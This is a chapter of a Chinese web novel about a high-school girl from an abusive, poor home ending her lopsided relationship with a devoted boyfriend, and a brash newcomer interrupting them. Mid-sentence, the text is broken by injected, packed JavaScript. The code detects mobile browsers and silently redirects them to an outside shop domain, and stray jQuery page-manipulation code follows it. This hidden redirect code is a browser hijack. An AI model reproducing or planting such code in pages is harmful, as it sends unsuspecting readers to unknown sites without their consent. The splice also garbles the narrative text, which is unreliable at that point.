顾绮看着杵在面前的人，第一反应居然是低头看了看自己的脚。
难道是因为出门先迈的是左脚，所以今天才这么倒霉？
她有点想把那只不吉利的脚剁了。
老天做事是真不讲究，好的不灵坏的灵，跟专门蹲在她人生路口等着绊她一脚似的。前几天买彩票的时候她可是正儿八经许过愿的，怎么不见老天屁颠屁颠给她送来呢？
五分钟前。
许凌从出租车上下来的时候，锦城市一中的门卫老李正端着搪瓷杯喝茶。茶叶沫子浮在水面上，他吹了一口，眯着眼打量来人——哦，上届的，打过校际篮球赛，有印象。
“回学校？”老李打开了栅栏门放他进去又把登记簿推过去。
许凌点头，抓起笔写名字。笔尖戳在纸上，力透纸背。
但旁边有人不干了。
“不是——叔，”卫澄阳倚在门卫室的窗框上，一条胳膊搭着窗沿，被气笑了，“我跟您这儿站快半小时了，嘴皮子都快磨破了，您连登记簿都没让我摸着。这人——”
他朝许凌扬了扬下巴，那下巴扬得有点高，配着浑身上下的logo，整个人像从奢侈品广告里直接抠出来摔在了学校门口，格格不入又理直气壮。
“——这人一来您问都不问就放？怎么，我长得像恐怖分子？”
老李端起搪瓷杯又喝了一口，茶叶沫子粘在嘴唇上，他抿了抿，没说话，那意思很明确：你自己心里没点数？
许凌闻声偏头看了一眼。
一眼，就让他心生不喜。
那人浑身上下写满了“别惹我”和“我不好惹”，有种让人看了就想皱眉的混不吝。许凌皱了眉。他们学校什么时候有过这号人物？看着就来气。
卫澄阳察觉到他的目光，转过头来。
两个人隔着校门的铁栅栏对视了一秒。卫澄阳忽然笑了，那笑挂在嘴角，往上翘的弧度带着点刻意。
“怎么，没见过比你帅的啊？”
许凌收回目光，把笔帽咔哒一声盖回去，转身跑进了悬铃木的阴影里。
他没时间。
————
顾绮在许凌跑到面前之前就已经想明白了——在这儿撞上他多半不是巧合，是有人给他通风报信了。
她有点想笑。
之前了无音讯，像是被人间蒸发了的人，现在消息倒是灵通的很。从蒸发状态到重返人间，用时不到一小时。她都不知道自己的行踪这么值钱，值得别人这么火急火燎地递消息。
但笑完之后，有件事情像一根细细的刺，不动声色地扎了进来。
之前在她冷静下来后仔细想过，其实许凌除了这次断崖式的失联分手外，没有什么对不起她的地方。
不但没有对不起她，反而对她好得过了头。
好到她现在回想起来，都觉得那段关系从一开始就长歪了。
他对她不止是那种节日生日送个礼物、表表心意的好，还是那种体贴的包裹着她密不透风的好。
大大小小零碎的日用品，乃至衣服鞋子。他买的东西堆满了她的宿舍和课桌抽屉，像一场无声的、旷日持久的占领。
有一回她在小卖部拿起一包卫生棉，翻过来看了一眼价格又放了回去。不是什么很贵的东西，但她买不起。
上次问顾大强要二十块钱买卫生棉，那个被她叫作父亲的男人把她从头到脚扫了一遍，那目光像是在打量一件不值钱的旧家具，然后翻了个白眼，从兜里掏出十块钱揉成一团，扔到她的脸上。
纸币轻飘飘地从脸上落在地上，她感觉到自己的脸在烧，耳根在烧，连指甲盖都在烧。
那种耻辱感她永生难忘。
但最耻辱的还不是被人把钱扔在脸上。
最耻辱的是她不得不弯下腰，把地上那十块钱捡了起来。一张十块的纸币，轻得几乎没有重量，捡起来的时候沾了点灰，她用手指一点一点把褶皱抚平，放进了口袋里。
因为她真的需要这十块钱。
后来许凌不知道从哪里察觉到了她的窘迫。他没说什么，但从那以后，她的所有日用品和饭卡水卡里面的钱，再也没有出现不够用的情况。
顾大强脑子里好像完全没有“高中生需要生活费”这个概念，就像他的世界里没有她这个女儿一样。但许凌替他补上了这个空缺。
许凌养着她，用那种不动声色的、甚至带着点小心翼翼的方式，怕她觉得难堪，怕她觉得亏欠。
可她怎么可能不觉得亏欠？
他们之间的关系，从来就不是正常同龄人交往的样子。不是势均力敌的你请我吃饭、我请你看电影，不是礼尚往来的我给你买个发卡、你给我织条围巾。
是倾斜的、是不平等的。他在上面，她在下面。他源源不断地给予，她源源不断地接受。
但她那时候选择性地忽视了这一切。
忽视了关系中的不平等，忽视了那些说不清道不明的别扭和不对劲，也忽视了自己在这段关系里到底是什么位置。
她闭上眼睛选择不看那些裂缝，只盯着裂缝里透进来的光。
因为那光太温暖了。
她那时候眼睛里只看得见许凌的幽默、细心，只看得见那些让她心口发烫的事。
冬天，她随口说了一句早上教室太冷，想吃点热的东西暖暖胃。第二天一大早晨读都还没开始，许凌就出现在她课桌旁，羽绒服的拉链都没来得及拉上，怀里揣着一个塑料袋，袋子里面是刚出炉的包子。
她接过来的时候碰到了他的手指，冰的，但包子是烫的。她后来才知道，他为了把包子揣在衣服里保温，腹部被烫出了一个水泡。
那水泡后来破了，化脓，好了之后留了个疤，消不掉的那种。
他掀起衣服给她看那个疤的时候，笑得一脸无所谓，说以后这就是男人的勋章了。
她当时觉得那是爱情。
现在她才明白，那确实是爱情。是许凌的爱情。真诚的、滚烫的、毫无保留的，像那个刚出炉的包子一样烫手的爱情。
可她的呢？
她给过他什么？
这个问题她之前从来没有想过。或者说，她不敢想。
因为一旦开始想了，她就不得不面对一个事实——在这段关系里，她从一开始就将自己放在了一个较低的位置，她觉得那就是自己该待的位置。
虽然那时她和许凌总是黏在一起，但许凌并不了解她，她不愿意让他看到真实的自己，她不愿意让他知道自己真实的想法。
既然假象足够完美，那为什么还要去追求真实的丑陋呢？
顾大强扔在地上的十块钱她都捡了，许凌给她的这些东西，她怎么可能不接着？
她以为自己在谈恋爱，其实她只是在求生。难道想让自己过得更好是有罪的吗？
她把许凌当成救命稻草死死抓着，却忘了稻草也会断，也忘了自己其实是可以学会游泳的。
他是很好，她也不差。可他们无法在一个不平等的关系里，给出对等的爱。
虽然当时被许凌父亲的助理找到给钱时，有些耻辱。但换位想想，如果她是许凌的家长，也绝不允许自己的独生子对这种人情根深重的。
不过没关系，她自己做的选择哪怕错了，她也愿意为后果买单。
————
许凌站定在她面前，胸腔剧烈起伏着。额前的碎发被汗水打湿，一缕一缕黏在额头上，校服领口洇出一圈深色的汗渍。
从校门口跑到这儿，距离不算远，但他跑得太急了，肺里像是灌了一把沙子，呼吸都带着刮擦的痛感。
他张了张嘴。
又闭上了。
来的时候满肚子的话，堵了一路，堵到现在反而一个字都挤不出来。
他想问你为什么把我电话拉黑了，想问你为什么不来学校，想问我们不是在冷战吗你为什么一副要分手的样子，想问的东西太多了，全都梗在喉咙口，不上不下地卡着。
顾绮看着他那副样子，在心里叹了口气。
然后她先开口打破沉默：“我大概知道你想说什么。”
许凌抬起头看她。
“但是没关系，都过去了。你要是没事的话，我就先走了。”
许凌听到前半句的时候还没觉出什么不对。他原本还有点委屈，甚至有点生气——顾绮莫名其妙不理他，上纲上线直接不来学校，搞得好像从头到尾全是他的错。但她说“都过去了”。
都过去了。
这四个字在他脑海里打了个转，被他自动翻译成了“我们和好吧”。
她是在哄他吧？她那个脾气，能说出这样的话已经很难得了。其实他也没那么生气了，真的，他这人气性来得快去得也快，只要顾绮愿意——
等等。
许凌的思维猛地踩了刹车。
既然和好了，为什么还要走？
他重新看向顾绮，这回看得仔细。从她微微抿紧的嘴角，看到她垂在身侧的不自觉蜷缩的手指，最后看到她眼底那片没有任何波澜的平静。
那不是希望和好的眼神。
那是结账走人之前最后一次扫一眼账单的眼神。
许凌的脑子像一台卡了带的录音机，嗡嗡地响。他听到自己的心跳声从胸腔里往上撞，一下一下的，撞得他耳膜发疼。
他只不过——他只不过是没有来得及和顾绮说去省队的事啊。那时候选拔通知来得太突然，能不能选上都不一定，他心里没底，怕万一落选太丢人了，才没跟她提。
后来真的选上了，手机直接被收走，他想尽办法才托人把打比赛拿的那笔奖金转给她，还摆脱人家一定要帮他跟她解释一下。
可是等他拿到手机的时候，发现自己被拉黑了。
微信，QQ，电话号码，无一幸免。
这些天她一条消息都没给他发过，一个电话都没打过。他心里也憋着气，凭什么？他做错什么了要被这样对待？
于是一赌气就没按原计划回学校找她。等他开学后回去，从别人嘴里听到的第一句话是：顾绮这学期没来，好像辍学了。
那天他站在教室门口，头顶的电风扇吱呀吱呀地转，把旁边人说话的声音搅得模模糊糊。他掏出手机一遍一遍地打电话，听筒里永远只有一个冰冷礼貌的女声在重复同一句话。
他们不是在冷战吗？
冷战的意思难道不是两个人都在生气，但两个人都在等对方先低头然后和好如初吗？
什么时候冷战变成了分手，变成了人间蒸发，变成了他连她的人都找不到？
“你等一下，”许凌伸手拦住她，“什么叫‘都过去了’？你把话说清楚。”
顾绮停下脚步。
她没有回头。背对着许凌站着的时候，她突
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702953|208248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然觉得很累。那种累不是身体上的，是从很深很深的什么地方涌上来的，像回潮天从墙面里渗出来的水，止都止不住。
有些话她不想说得太明白。说太明白就没意思了，而且就算说明白也改变不了任何事。
她和许凌之间隔着的不是一场误会，不是一次失联，不是冷战和好就能翻篇的小打小闹。他们之间隔着一整个她跨越不了的东西。
许凌是在爱里长大的。这件事不用问就能看出来——他提起家里的时候眼里有光，说到未来的时候语气笃定得像是已经看到了人生剧本。
他向往婚姻，期待家庭，提起孩子的时候嘴角会不自觉地上扬，他是真的觉得这些东西会让他幸福。
但她不是。
她讨厌婚姻。准确地说，她害怕婚姻。那个红本子在她眼里不是什么爱情的见证，是一把上了锁的木箱，钥匙不知道被扔到了哪里，想要再打开就只能把木箱整个敲碎。
她更不愿意生孩子。疼是一方面，但也有怕自己当不好一个母亲。
她连自己都照顾不好，抽屉里放了一周的鲜牛奶，等准备喝了才发现已经过期；一画画起来，得胃疼到冒冷汗才想起来吃饭；连在生理期喝红糖水能缓解疼痛还是许凌和她说的。
她连自己的人格都还没修补完整，那些在她生命里留下的裂缝还一条一条地横在那里，怎么去培养另一个生命？
孩子不是花花草草，浇浇水施施肥就能活。
想到家庭与孩子，她脑子里自动跳出来的不是欢声笑语、不是柔软的小手小脚，是迎面砸来的碗筷，划过空气的弧线，撞在墙上碎裂的声音。
是永无止境的争吵，一个声音比一个声音高，一个比一个尖锐，像是两把生锈的锯子在来回拉扯。
是不堪入耳的辱骂，从最亲密的人嘴里说出来，反而比陌生人的刀子捅得更深。
是那个蜷在角落里捂住耳朵瑟瑟发抖的小女孩，只能死死闭着眼睛和嘴巴，假装自己不存在。
顾绮认为在没有足够充足的准备之前，擅自把一个生命带到这个世界上，是极其不负责任的行为。
但这些事她跟许凌说不通。
他理解不了。不是因为他笨，是因为他这辈子都没在现实里见过那些画面，他的记忆里没有碗筷砸碎在地板上的声音，他想象不出来。
何必呢？让他活在他那个完整温暖的世界里，总好过被她拽下来看这些东西。
“就是字面意思，”顾绮转过身来，语气比刚才又淡了几分，像是在复述一个跟自己无关的通知，“都过去了。你什么都不用解释，我也不需要你的解释。”
她顿了顿，“以后见面了我们还是朋友。”
许凌看着她那副云淡风轻的样子，像是刚才说的不是分手，而是“今天天气不错”。
他胸腔里那股气横冲直撞，找不到出口，最后在喉咙口炸开，变成了一声从牙缝里挤出来的嗤笑。
“朋友？”
他重复了一遍这两个字，像是听到了什么荒谬至极的笑话。
眼眶泛着红，不知道是跑得太急被风吹的还是别的原因，从嘴里吐出的话带着刺，扎向别人也扎向自己。
“顾绮，你摸着良心说，你吃的穿的用的，哪样不是我许凌出的钱？”他的声音压得很低，尾音在发抖，“我对你来说算什么？提款机？临时饭票？还是一个随叫随到、现在用完了就能一脚踹开的冤大头？我那么喜欢你，你就这么对我是吧？”
他往前逼了一步，逼得顾绮不得不抬起眼睛看他。
她看着他，突然笑了一下：“你喜欢我？你到底喜欢我什么啊？漂亮？文静？画画好？还是从来不吃你那些女兄弟的醋啊？你干什么我都不知道你从来不会主动和我说，但我和同学多说两句话，不出一天你就会从别人那里知道。你觉得这正常吗？你真的了解我吗？你知道我到底是个什么样的人吗？”
许凌愣了，他直觉顾绮说得不对他明明不是这么想的，可他一时之间竟不知道该怎么反驳。
顾绮看到他哑口无言的样子，心里百感交集轻轻叹了一口气，不愿再为难他：“无论如何我真的感谢你之前为我做的一切，所以咱都体面点，当个朋友以后见到面还能聊两句，不好吗？”
“体面？朋友？我许凌缺你这么一个朋友吗？”他的喉结上下滚了滚，把差点脱口而出的哽咽狠狠压了回去，眼眶的红却越来越深，“难道你和所有朋友都会牵手亲嘴上”
他的话断了。
但不是他自己停的。
围墙一阵窸窸窣窣的动静，然后是蹬墙的闷响，最后一个人影从墙头上翻了过来。
落地的动作本来应该挺帅，但他踩到一颗石子，重心一歪，整个人往前踉跄了两步，差点没跪在地上。好在他反应快，单手撑了一下地面，勉强稳住了。
卫澄阳拍掉手上的泥土和碎草屑，抬起头。
两双眼睛直直地盯着他。一双惊讶，一双警惕。
他站直身体，不紧不慢地整理了一下蹭歪的衣领，把袖口上沾的灰弹掉，然后扬起一个笑。
“哟。”
他看看顾绮，又看看许凌，目光在两个人之间溜了一个来回。最后停在许凌身上，上下打量了一番。
“哥们儿，在这把自己当狗血剧霸总呢？”
许凌的脸色沉了下去。
这人又是谁？